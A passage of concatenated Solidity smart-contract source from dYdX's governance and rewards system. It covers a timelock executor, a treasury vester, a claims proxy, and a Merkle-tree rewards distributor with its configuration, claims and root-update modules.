bool withDelegatecall
) public override onlyAdmin returns (bytes32) {
bytes32 actionHash = keccak256(
abi.encode(target, value, signature, data, executionTime, withDelegatecall)
);
_queuedTransactions[actionHash] = false;
emit CancelledAction(
actionHash,
target,
value,
signature,
data,
executionTime,
withDelegatecall
);
return actionHash;
}
/**
* @dev Function, called by Governance, that executes a transaction, returns the callData executed
* @param target smart contract target
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
* @return the callData executed as memory bytes
**/
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall
) public payable override onlyAdmin returns (bytes memory) {
bytes32 actionHash = keccak256(
abi.encode(target, value, signature, data, executionTime, withDelegatecall)
);
require(_queuedTransactions[actionHash], 'ACTION_NOT_QUEUED');
require(block.timestamp >= executionTime, 'TIMELOCK_NOT_FINISHED');
require(block.timestamp <= executionTime.add(GRACE_PERIOD), 'GRACE_PERIOD_FINISHED');
_queuedTransactions[actionHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
bool success;
bytes memory resultData;
if (withDelegatecall) {
require(msg.value >= value, "NOT_ENOUGH_MSG_VALUE");
// solium-disable-next-line security/no-call-value
(success, resultData) = target.delegatecall(callData);
} else {
// solium-disable-next-line security/no-call-value
(success, resultData) = target.call{value: value}(callData);
}
require(success, 'FAILED_ACTION_EXECUTION');
emit ExecutedAction(
actionHash,
target,
value,
signature,
data,
executionTime,
withDelegatecall,
resultData
);
return resultData;
}
/**
* @dev Getter of the current admin address (should be governance)
* @return The address of the current admin
**/
function getAdmin() external view override returns (address) {
return _admin;
}
/**
* @dev Getter of the current pending admin address
* @return The address of the pending admin
**/
function getPendingAdmin() external view override returns (address) {
return _pendingAdmin;
}
/**
* @dev Getter of the delay between queuing and execution
* @return The delay in seconds
**/
function getDelay() external view override returns (uint256) {
return _delay;
}
/**
* @dev Returns whether an action (via actionHash) is queued
* @param actionHash hash of the action to be checked
* keccak256(abi.encode(target, value, signature, data, executionTime, withDelegatecall))
* @return true if underlying action of actionHash is queued
**/
function isActionQueued(bytes32 actionHash) external view override returns (bool) {
return _queuedTransactions[actionHash];
}
/**
* @dev Checks whether a proposal is over its grace period
* @param governance Governance contract
* @param proposalId Id of the proposal against which to test
* @return true of proposal is over grace period
**/
function isProposalOverGracePeriod(IDydxGovernor governance, uint256 proposalId)
external
view
override
returns (bool)
{
IDydxGovernor.ProposalWithoutVotes memory proposal = governance.getProposalById(proposalId);
return (block.timestamp > proposal.executionTime.add(GRACE_PERIOD));
}
function _validateDelay(uint256 delay) internal view {
require(delay >= MINIMUM_DELAY, 'DELAY_SHORTER_THAN_MINIMUM');
require(delay <= MAXIMUM_DELAY, 'DELAY_LONGER_THAN_MAXIMUM');
}
receive() external payable {}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { SafeMath } from '../dependencies/open-zeppelin/SafeMath.sol';
/**
* @title Math
* @author dYdX
*
* @dev Library for non-standard Math functions.
*/
library Math {
using SafeMath for uint256;
// ============ Library Functions ============
/**
* @dev Return `ceil(numerator / denominator)`.
*/
function divRoundUp(uint256 numerator, uint256 denominator) internal pure returns (uint256) {
if (numerator == 0) {
// SafeMath will check for zero denominator
return SafeMath.div(0, denominator);
}
return numerator.sub(1).div(denominator).add(1);
}
/**
* @dev Returns the minimum between a and b.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the maximum between a and b.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
}
pragma solidity 0.7.5;
import { SafeMath } from '../dependencies/open-zeppelin/SafeMath.sol';
contract TreasuryVester {
using SafeMath for uint256;
address public dydx;
address public recipient;
uint256 public vestingAmount;
uint256 public vestingBegin;
uint256 public vestingCliff;
uint256 public vestingEnd;
uint256 public lastUpdate;
constructor(
address dydx_,
address recipient_,
uint256 vestingAmount_,
uint256 vestingBegin_,
uint256 vestingCliff_,
uint256 vestingEnd_
) {
require(vestingBegin_ >= block.timestamp, 'VESTING_BEGIN_TOO_EARLY');
require(vestingCliff_ >= vestingBegin_, 'VESTING_CLIFF_BEFORE_BEGIN');
require(vestingEnd_ > vestingCliff_, 'VESTING_END_BEFORE_CLIFF');
dydx = dydx_;
recipient = recipient_;
vestingAmount = vestingAmount_;
vestingBegin = vestingBegin_;
vestingCliff = vestingCliff_;
vestingEnd = vestingEnd_;
lastUpdate = vestingBegin;
}
function setRecipient(address recipient_) public {
require(msg.sender == recipient, 'SET_RECIPIENT_UNAUTHORIZED');
recipient = recipient_;
}
function claim() public {
require(block.timestamp >= vestingCliff, 'CLAIM_TOO_EARLY');
uint256 amount;
if (block.timestamp >= vestingEnd) {
amount = IDydx(dydx).balanceOf(address(this));
} else {
amount = vestingAmount.mul(block.timestamp - lastUpdate).div(vestingEnd - vestingBegin);
lastUpdate = block.timestamp;
}
IDydx(dydx).transfer(recipient, amount);
}
}
interface IDydx {
function balanceOf(address account) external view returns (uint256);
function transfer(address dst, uint256 rawAmount) external returns (bool);
}
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { SafeMath } from '../dependencies/open-zeppelin/SafeMath.sol';
interface ISafetyModuleV1 {
function claimRewardsFor(
address staker,
address recipient
)
external
returns (uint256);
}
interface ILiquidityStakingV1 {
function claimRewardsFor(
address staker,
address recipient
)
external
returns (uint256);
}
interface IMerkleDistributorV1 {
function claimRewardsFor(
address user,
uint256 cumulativeAmount,
bytes32[] calldata merkleProof
)
external
returns (uint256);
}
interface ITreasuryVester {
function claim() external;
}
/**
* @title ClaimsProxy
* @author dYdX
*
* @notice Contract which claims DYDX rewards from multiple contracts on behalf of a user.
*
* Requires the following permissions:
* - Set as the CLAIMS_PROXY on the SafetyModuleV1 contract.
* - Has role CLAIM_OPERATOR_ROLE on the LiquidityStakingV1 contract.
* - Has role CLAIM_OPERATOR_ROLE on the MerkleDistributorV1 contract.
*/
contract ClaimsProxy {
using SafeMath for uint256;
// ============ Constants ============
ISafetyModuleV1 public immutable SAFETY_MODULE;
ILiquidityStakingV1 public immutable LIQUIDITY_STAKING;
IMerkleDistributorV1 public immutable MERKLE_DISTRIBUTOR;
ITreasuryVester public immutable REWARDS_TREASURY_VESTER;
// ============ Constructor ============
constructor(
ISafetyModuleV1 safetyModule,
ILiquidityStakingV1 liquidityStaking,
IMerkleDistributorV1 merkleDistributor,
ITreasuryVester rewardsTreasuryVester
) {
SAFETY_MODULE = safetyModule;
LIQUIDITY_STAKING = liquidityStaking;
MERKLE_DISTRIBUTOR = merkleDistributor;
REWARDS_TREASURY_VESTER = rewardsTreasuryVester;
}
// ============ External Functions ============
/**
* @notice Claim rewards from zero or more rewards contracts. All rewards are sent directly to
* the sender's address.
*
* @param claimSafetyRewards Whether or not to claim rewards from SafetyModuleV1.
* @param claimLiquidityRewards Whether or not to claim rewards from LiquidityStakingV1.
* @param merkleCumulativeAmount The cumulative rewards amount for the user in the
* MerkleDistributorV1 rewards Merkle tree, or zero to skip
* claiming from this contract.
* @param merkleProof The Merkle proof for the user's cumulative rewards.
* @param vestFromTreasuryVester Whether or not to vest rewards from the rewards treasury
* vester to the rewards treasury (e.g. set to true if rewards
* treasury has insufficient funds for users, and false otherwise).
*
* @return The total number of rewards claimed.
*/
function claimRewards(
bool claimSafetyRewards,
bool claimLiquidityRewards,
uint256 merkleCumulativeAmount,
bytes32[] calldata merkleProof,
bool vestFromTreasuryVester
)
external
returns (uint256)
{
if (vestFromTreasuryVester) {
// call rewards treasury vester so that rewards treasury has sufficient rewards
REWARDS_TREASURY_VESTER.claim();
}
address user = msg.sender;
uint256 amount1 = 0;
uint256 amount2 = 0;
uint256 amount3 = 0;
if (claimSafetyRewards) {
amount1 = SAFETY_MODULE.claimRewardsFor(user, user);
}
if (claimLiquidityRewards) {
amount2 = LIQUIDITY_STAKING.claimRewardsFor(user, user);
}
if (merkleCumulativeAmount != 0) {
amount3 = MERKLE_DISTRIBUTOR.claimRewardsFor(user, merkleCumulativeAmount, merkleProof);
}
return amount1.add(amount2).add(amount3);
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { SafeMath } from '../../dependencies/open-zeppelin/SafeMath.sol';
import { Ownable } from '../../dependencies/open-zeppelin/Ownable.sol';
import { MerkleProof } from '../../dependencies/open-zeppelin/MerkleProof.sol';
import { IERC20 } from '../../interfaces/IERC20.sol';
import { IRewardsOracle } from '../../interfaces/IRewardsOracle.sol';
import { MD1Claims } from './impl/MD1Claims.sol';
import { MD1RootUpdates } from './impl/MD1RootUpdates.sol';
import { MD1Configuration } from './impl/MD1Configuration.sol';
import { MD1Getters } from './impl/MD1Getters.sol';
/**
* @title MerkleDistributorV1
* @author dYdX
*
* @notice Distributes DYDX token rewards according to a Merkle tree of balances. The tree can be
* updated periodially with each user's cumulative rewards balance, allowing new rewards to be
* distributed to users over time.
*
* An update is performed by setting the proposed Merkle root to the latest value returned by
* the oracle contract. The proposed Merkle root can be made active after a waiting period has
* elapsed. During the waiting period, dYdX governance has the opportunity to freeze the Merkle
* root, in case the proposed root is incorrect or malicious.
*/
contract MerkleDistributorV1 is
MD1RootUpdates,
MD1Claims,
MD1Configuration,
MD1Getters
{
// ============ Constructor ============
constructor(
address rewardsToken,
address rewardsTreasury
)
MD1Claims(rewardsToken, rewardsTreasury)
{}
// ============ External Functions ============
function initialize(
address rewardsOracle,
string calldata ipnsName,
uint256 ipfsUpdatePeriod,
uint256 marketMakerRewardsAmount,
uint256 traderRewardsAmount,
uint256 traderScoreAlpha,
uint256 epochInterval,
uint256 epochOffset
)
external
initializer
{
__MD1Roles_init();
__MD1Configuration_init(
rewardsOracle,
ipnsName,
ipfsUpdatePeriod,
marketMakerRewardsAmount,
traderRewardsAmount,
traderScoreAlpha
);
__MD1EpochSchedule_init(epochInterval, epochOffset);
}
// ============ Internal Functions ============
/**
* @dev Returns the revision of the implementation contract. Used by VersionedInitializable.
*
* @return The revision number.
*/
function getRevision()
internal
pure
override
returns (uint256)
{
return 1;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import './Context.sol';
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
interface IRewardsOracle {
/**
* @notice Returns the oracle value, agreed upon by all oracle signers. If the signers have not
* agreed upon a value, should return zero for all return values.
*
* @return merkleRoot The Merkle root for the next Merkle distributor update.
* @return epoch The epoch number corresponding to the new Merkle root.
* @return ipfsCid An IPFS CID pointing to the Merkle tree data.
*/
function read()
external
virtual
view
returns (bytes32 merkleRoot, uint256 epoch, bytes memory ipfsCid);
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { SafeERC20 } from '../../../dependencies/open-zeppelin/SafeERC20.sol';
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { MerkleProof } from '../../../dependencies/open-zeppelin/MerkleProof.sol';
import { IERC20 } from '../../../interfaces/IERC20.sol';
import { MD1Types } from '../lib/MD1Types.sol';
import { MD1Roles } from './MD1Roles.sol';
/**
* @title MD1Claims
* @author dYdX
*
* @notice Allows rewards to be claimed by providing a Merkle proof of the rewards amount.
*/
abstract contract MD1Claims is
MD1Roles
{
using SafeERC20 for IERC20;
using SafeMath for uint256;
// ============ Constants ============
/// @notice The token distributed as rewards.
IERC20 public immutable REWARDS_TOKEN;
/// @notice Address to pull rewards from. Must have provided an allowance to this contract.
address public immutable REWARDS_TREASURY;
// ============ Events ============
/// @notice Emitted when a user claims rewards.
event RewardsClaimed(
address account,
uint256 amount
);
/// @notice Emitted when a user opts into or out of the claim-for allowlist.
event AlwaysAllowClaimForUpdated(
address user,
bool allow
);
// ============ Constructor ============
constructor(
address rewardsToken,
address rewardsTreasury
) {
REWARDS_TOKEN = IERC20(rewardsToken);
REWARDS_TREASURY = rewardsTreasury;
}
// ============ External Functions ============
/**
* @notice Claim the remaining unclaimed rewards for the sender.
*
* Reverts if the provided Merkle proof is invalid.
*
* @param cumulativeAmount The total all-time rewards this user has earned.
* @param merkleProof The Merkle proof for the user and cumulative amount.
*
* @return The number of rewards tokens claimed.
*/
function claimRewards(
uint256 cumulativeAmount,
bytes32[] calldata merkleProof
)
external
nonReentrant
returns (uint256)
{
return _claimRewards(msg.sender, cumulativeAmount, merkleProof);
}
/**
* @notice Claim the remaining unclaimed rewards for a user, and send them to that user.
*
* The caller must be authorized with CLAIM_OPERATOR_ROLE unless the specified user has opted
* into the claim-for allowlist. In any case, rewards are transfered to the original user
* specified in the Merkle tree.
*
* Reverts if the provided Merkle proof is invalid.
*
* @param user Address of the user on whose behalf to trigger a claim.
* @param cumulativeAmount The total all-time rewards this user has earned.
* @param merkleProof The Merkle proof for the user and cumulative amount.
*
* @return The number of rewards tokens claimed.
*/
function claimRewardsFor(
address user,
uint256 cumulativeAmount,
bytes32[] calldata merkleProof
)
external
nonReentrant
returns (uint256)
{
require(
(
hasRole(CLAIM_OPERATOR_ROLE, msg.sender) ||
_ALWAYS_ALLOW_CLAIMS_FOR_[user]
),
'MD1Claims: Do not have permission to claim for this user'
);
return _claimRewards(user, cumulativeAmount, merkleProof);
}
/**
* @notice Opt into allowing anyone to claim on the sender's behalf.
*
* Note that this does not affect who receives the funds. The user specified in the Merkle tree
* receives those rewards regardless of who issues the claim.
*
* Note that addresses with the CLAIM_OPERATOR_ROLE ignore this allowlist when triggering claims.
*
* @param allow Whether or not to allow claims on the sender's behalf.
*/
function setAlwaysAllowClaimsFor(
bool allow
)
external
nonReentrant
{
_ALWAYS_ALLOW_CLAIMS_FOR_[msg.sender] = allow;
emit AlwaysAllowClaimForUpdated(msg.sender, allow);
}
// ============ Internal Functions ============
/**
* @notice Claim the remaining unclaimed rewards for a user, and send them to that user.
*
* Reverts if the provided Merkle proof is invalid.
*
* @param user Address of the user.
* @param cumulativeAmount The total all-time rewards this user has earned.
* @param merkleProof The Merkle proof for the user and cumulative amount.
*
* @return The number of rewards tokens claimed.
*/
function _claimRewards(
address user,
uint256 cumulativeAmount,
bytes32[] calldata merkleProof
)
internal
returns (uint256)
{
// Get the active Merkle root.
bytes32 merkleRoot = _ACTIVE_ROOT_.merkleRoot;
// Verify the Merkle proof.
bytes32 node = keccak256(abi.encodePacked(user, cumulativeAmount));
require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MD1Claims: Invalid Merkle proof');
// Get the claimable amount.
//
// Note: If this reverts, then there was an error in the Merkle tree, since the cumulative
// amount for a given user should never decrease over time.
uint256 claimable = cumulativeAmount.sub(_CLAIMED_[user]);
if (claimable == 0) {
return 0;
}
// Mark the user as having claimed the full amount.
_CLAIMED_[user] = cumulativeAmount;
// Send the user the claimable amount.
REWARDS_TOKEN.safeTransferFrom(REWARDS_TREASURY, user, claimable);
emit RewardsClaimed(user, claimable);
return claimable;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { MerkleProof } from '../../../dependencies/open-zeppelin/MerkleProof.sol';
import { MD1Types } from '../lib/MD1Types.sol';
import { MD1Pausable } from './MD1Pausable.sol';
/**
* @title MD1RootUpdates
* @author dYdX
*
* @notice Handles updates to the Merkle root.
*/
abstract contract MD1RootUpdates is
MD1Pausable
{
using SafeMath for uint256;
// ============ Constants ============
/// @notice The waiting period before a proposed Merkle root can become active, in seconds.
uint256 public constant WAITING_PERIOD = 7 days;
// ============ Events ============
/// @notice Emitted when a new Merkle root is proposed and the waiting period begins.
event RootProposed(
bytes32 merkleRoot,
uint256 epoch,
bytes ipfsCid,
uint256 waitingPeriodEnd
);
/// @notice Emitted when a new Merkle root becomes active.
event RootUpdated(
bytes32 merkleRoot,
uint256 epoch,
bytes ipfsCid
);
// ============ External Functions ============
/**
* @notice Set the proposed root parameters to the values returned by the oracle, and start the
* waiting period. Anyone may call this function.
*
* Reverts if the oracle root is bytes32(0).
* Reverts if the oracle root parameters are equal to the proposed root parameters.
* Reverts if the oracle root epoch is not equal to the next root epoch.
*/
function proposeRoot()
external
nonReentrant
{
// Read the latest values from the oracle.
(
bytes32 merkleRoot,
uint256 epoch,
bytes memory ipfsCid
) = _REWARDS_ORACLE_.read();
require(merkleRoot != bytes32(0), 'MD1RootUpdates: Oracle root is zero (unset)');
require(
(
merkleRoot != _PROPOSED_ROOT_.merkleRoot ||
epoch != _PROPOSED_ROOT_.epoch ||
keccak256(ipfsCid) != keccak256(_PROPOSED_ROOT_.ipfsCid)
),
'MD1RootUpdates: Oracle root was already proposed'
);
require(epoch == getNextRootEpoch(), 'MD1RootUpdates: Oracle epoch is not next root epoch');
// Set the proposed root and the waiting period for the proposed root to become active.
_PROPOSED_ROOT_ = MD1Types.MerkleRoot({
merkleRoot: merkleRoot,
epoch: epoch,
ipfsCid: ipfsCid
});
uint256 waitingPeriodEnd = block.timestamp.add(WAITING_PERIOD);
_WAITING_PERIOD_END_ = waitingPeriodEnd;
emit RootProposed(merkleRoot, epoch, ipfsCid, waitingPeriodEnd);
}
/**
* @notice Set the active root parameters to the proposed root parameters.
*
* Reverts if root updates are paused.
* Reverts if the proposed root is bytes32(0).
* Reverts if the proposed root epoch is not equal to the next root epoch.
* Reverts if the waiting period for the proposed root has not elapsed.
*/
function updateRoot()
external
nonReentrant
whenNotPaused
{
// Get the proposed root parameters.
bytes32 merkleRoot = _PROPOSED_ROOT_.merkleRoot;
uint256 epoch = _PROPOSED_ROOT_.epoch;
bytes memory ipfsCid = _PROPOSED_ROOT_.ipfsCid;
require(merkleRoot != bytes32(0), 'MD1RootUpdates: Proposed root is zero (unset)');
require(epoch == getNextRootEpoch(), 'MD1RootUpdates: Proposed epoch is not next root epoch');
require(
block.timestamp >= _WAITING_PERIOD_END_,
'MD1RootUpdates: Waiting period has not elapsed'
);
// Set the active root.
_ACTIVE_ROOT_.merkleRoot = merkleRoot;
_ACTIVE_ROOT_.epoch = epoch;
_ACTIVE_ROOT_.ipfsCid = ipfsCid;
emit RootUpdated(merkleRoot, epoch, ipfsCid);
}
/**
* @notice Returns true if there is a proposed root waiting to become active, the waiting period
* for that root has elapsed, and root updates are not paused.
*
* @return Boolean `true` if the active root can be updated to the proposed root, else `false`.
*/
function canUpdateRoot()
external
view
returns (bool)
{
return (
hasPendingRoot() &&
block.timestamp >= _WAITING_PERIOD_END_ &&
!_ARE_ROOT_UPDATES_PAUSED_
);
}
// ============ Public Functions ============
/**
* @notice Returns true if there is a proposed root waiting to become active. This is the case if
* and only if the proposed root is not zero and the proposed root epoch is equal to the next
* root epoch.
*/
function hasPendingRoot()
public
view
returns (bool)
{
// Get the proposed parameters.
bytes32 merkleRoot = _PROPOSED_ROOT_.merkleRoot;
uint256 epoch = _PROPOSED_ROOT_.epoch;
if (merkleRoot == bytes32(0)) {
return false;
}
return epoch == getNextRootEpoch();
}
/**
* @notice Get the next root epoch. If the active root is zero, then the next root epoch is zero,
* otherwise, it is equal to the active root epoch plus one.
*/
function getNextRootEpoch()
public
view
returns (uint256)
{
bytes32 merkleRoot = _ACTIVE_ROOT_.merkleRoot;
if (merkleRoot == bytes32(0)) {
return 0;
}
return _ACTIVE_ROOT_.epoch.add(1);
}
}
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { IRewardsOracle } from '../../../interfaces/IRewardsOracle.sol';
import { MD1EpochSchedule } from './MD1EpochSchedule.sol';
import { MD1Roles } from './MD1Roles.sol';
import { MD1Types } from '../lib/MD1Types.sol';
/**
* @title MD1Configuration
* @author dYdX
*
* @notice Functions for modifying the Merkle distributor rewards configuration.
*
* The more sensitive configuration values, which potentially give full control over the contents
* of the Merkle tree, may only be updated by the OWNER_ROLE. Other values may be configured by
* the CONFIG_UPDATER_ROLE.
*
* Note that these configuration values are made available externally but are not used internally
* within this contract, with the exception of the IPFS update period which is used by
* the getIpfsEpoch() function.
*/
abstract contract MD1Configuration is
MD1EpochSchedule,
MD1Roles
{
// ============ Constants ============
uint256 public constant TRADER_SCORE_ALPHA_BASE = 10 ** 18;
// ============ Events ============
event RewardsOracleChanged(
address rewardsOracle
);
event IpnsNameUpdated(
string ipnsName
);
event IpfsUpdatePeriodUpdated(
uint256 ipfsUpdatePeriod
);
event RewardsParametersUpdated(
uint256 marketMakerRewardsAmount,
uint256 traderRewardsAmount,
uint256 traderScoreAlpha
);
// ============ Initializer ============
function __MD1Configuration_init(
address rewardsOracle,
string calldata ipnsName,
uint256 ipfsUpdatePeriod,
uint256 marketMakerRewardsAmount,
uint256 traderRewardsAmount,
uint256 traderScoreAlpha
)
internal
{
_setRewardsOracle(rewardsOracle);
_setIpnsName(ipnsName);
_setIpfsUpdatePeriod(ipfsUpdatePeriod);
_setRewardsParameters(
marketMakerRewardsAmount,
traderRewardsAmount,
traderScoreAlpha
);
}
// ============ External Functions ============
/**
* @notice Set the address of the oracle which provides Merkle root updates.
*
* @param rewardsOracle The new oracle address.
*/
function setRewardsOracle(
address rewardsOracle
)
external
onlyRole(OWNER_ROLE)
nonReentrant
{
_setRewardsOracle(rewardsOracle);
}
/**
* @notice Set the IPNS name to which trader and market maker exchange statistics are published.
*
* @param ipnsName The new IPNS name.
*/
function setIpnsName(
string calldata ipnsName
)
external
onlyRole(OWNER_ROLE)
nonReentrant
{
_setIpnsName(ipnsName);
}
/**
* @notice Set the period of time after the epoch end after which the new epoch exchange
* statistics should be available on IPFS via the IPNS name.
*
* This can be used as a trigger for “keepers” who are incentivized to call the proposeRoot()
* and updateRoot() functions as needed.
*
* @param ipfsUpdatePeriod The new IPFS update period, in seconds.
*/
function setIpfsUpdatePeriod(
uint256 ipfsUpdatePeriod
)
external
onlyRole(CONFIG_UPDATER_ROLE)
nonReentrant
{
_setIpfsUpdatePeriod(ipfsUpdatePeriod);
}
/**
* @notice Set the rewards formula parameters.
*
* @param marketMakerRewardsAmount Max rewards distributed per epoch as market maker incentives.
* @param traderRewardsAmount Max rewards distributed per epoch as trader incentives.
* @param traderScoreAlpha The alpha parameter between 0 and 1, in units out of 10^18.
*/
function setRewardsParameters(
uint256 marketMakerRewardsAmount,
uint256 traderRewardsAmount,
uint256 traderScoreAlpha
)
external
onlyRole(CONFIG_UPDATER_ROLE)
nonReentrant
{
_setRewardsParameters(marketMakerRewardsAmount, traderRewardsAmount, traderScoreAlpha);
}
/**
* @notice Set the parameters defining the function from timestamp to epoch number.
*
* @param interval The length of an epoch, in seconds.
* @param offset The start of epoch zero, in seconds.
*/
function setEpochParameters(
uint256 interval,
uint256 offset
)
external
onlyRole(CONFIG_UPDATER_ROLE)
nonReentrant
{
_setEpochParameters(interval, offset);
}
// ============ Internal Functions ============
function _setRewardsOracle(
address rewardsOracle
)
internal
{
_REWARDS_ORACLE_ = IRewardsOracle(rewardsOracle);
emit RewardsOracleChanged(rewardsOracle);
}
function _setIpnsName(
string calldata ipnsName
)
internal
{
_IPNS_NAME_ = ipnsName;
emit IpnsNameUpdated(ipnsName);
}
function _setIpfsUpdatePeriod(
uint256 ipfsUpdatePeriod
)
internal
{
_IPFS_UPDATE_PERIOD_ = ipfsUpdatePeriod;
emit IpfsUpdatePeriodUpdated(ipfsUpdatePeriod);
}
function _setRewardsParameters(
uint256 marketMakerRewardsAmount,
uint256 traderRewardsAmount,
uint256 traderScoreAlpha
)
internal
{
require(
traderScoreAlpha <= TRADER_SCORE_ALPHA_BASE,
'MD1Configuration: Invalid traderScoreAlpha'
);
_MARKET_MAKER_REWARDS_AMOUNT_ = marketMakerRewardsAmount;
_TRADER_REWARDS_AMOUNT_ = traderRewardsAmount;
_TRADER_SCORE_ALPHA_ = traderScoreAlpha;
emit RewardsParametersUpdated(
marketMakerRewardsAmount,
traderRewardsAmount,
traderScoreAlpha
);
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { IRewardsOracle } from '../../../interfaces/IRewardsOracle.sol';
import { MD1Types } from '../lib/MD1Types.sol';
import { MD1Storage } from './MD1Storage.sol';
/**
* @title MD1Getters
* @author dYdX
*
* @notice Simple getter functions.
*/
abstract contract MD1Getters is
MD1Storage
{
/**
* @notice Get the address of the oracle which provides Merkle root updates.
*
* @return The address of the oracle.
*/
function getRewardsOracle()
external
view
returns (IRewardsOracle)
{
return _REWARDS_ORACLE_;
}
/**
* @notice Get the IPNS name to which trader and market maker exchange statistics are published.
*
* @return The IPNS name.
*/
function getIpnsName()
external
view
returns (string memory)
{
return _IPNS_NAME_;
}
/**
* @notice Get the period of time after the epoch end after which the new epoch exchange
* statistics should be available on IPFS via the IPNS name.
*
* @return The IPFS update period, in seconds.
*/
function getIpfsUpdatePeriod()
external
view
returns (uint256)
{
return _IPFS_UPDATE_PERIOD_;
}
/**
* @notice Get the rewards formula parameters.
*
* @return Max rewards distributed per epoch as market maker incentives.
* @return Max rewards distributed per epoch as trader incentives.
* @return The alpha parameter between 0 and 1, in units out of 10^18.
*/
function getRewardsParameters()
external
view
returns (uint256, uint256, uint256)
{
return (
_MARKET_MAKER_REWARDS_AMOUNT_,
_TRADER_REWARDS_AMOUNT_,
_TRADER_SCORE_ALPHA_
);
}
/**
* @notice Get the parameters specifying the function from timestamp to epoch number.
*
* @return The parameters struct with `interval` and `offset` fields.
*/
function getEpochParameters()
external
view
returns (MD1Types.EpochParameters memory)
{
return _EPOCH_PARAMETERS_;
}
/**
* @notice Get the active Merkle root and associated parameters.
*
* @return merkleRoot The active Merkle root.
* @return epoch The epoch number corresponding to this Merkle tree.
* @return ipfsCid An IPFS CID pointing to the Merkle tree data.
*/
function getActiveRoot()
external
view
returns (bytes32 merkleRoot, uint256 epoch, bytes memory ipfsCid)
{
merkleRoot = _ACTIVE_ROOT_.merkleRoot;
epoch = _ACTIVE_ROOT_.epoch;
ipfsCid = _ACTIVE_ROOT_.ipfsCid;
}
/**
* @notice Get the proposed Merkle root and associated parameters.
*
* @return merkleRoot The active Merkle root.
* @return epoch The epoch number corresponding to this Merkle tree.
* @return ipfsCid An IPFS CID pointing to the Merkle tree data.
*/
function getProposedRoot()
external
view
returns (bytes32 merkleRoot, uint256 epoch, bytes memory ipfsCid)
{
merkleRoot = _PROPOSED_ROOT_.merkleRoot;
epoch = _PROPOSED_ROOT_.epoch;
ipfsCid = _PROPOSED_ROOT_.ipfsCid;
}
/**
* @notice Get the time at which the proposed root may become active.
*
* @return The time at which the proposed root may become active, in epoch seconds.
*/
function getWaitingPeriodEnd()
external
view
returns (uint256)
{
return _WAITING_PERIOD_END_;
}
/**
* @notice Check whether root updates are currently paused.
*
* @return Boolean `true` if root updates are currently paused, otherwise, `false`.
*/
function getAreRootUpdatesPaused()
external
view
returns (bool)
{
return _ARE_ROOT_UPDATES_PAUSED_;
}
/**
* @notice Get the tokens claimed so far by a given user.
*
* @param user The address of the user.
*
* @return The tokens claimed so far by that user.
*/
function getClaimed(address user)
external
view
returns (uint256)
{
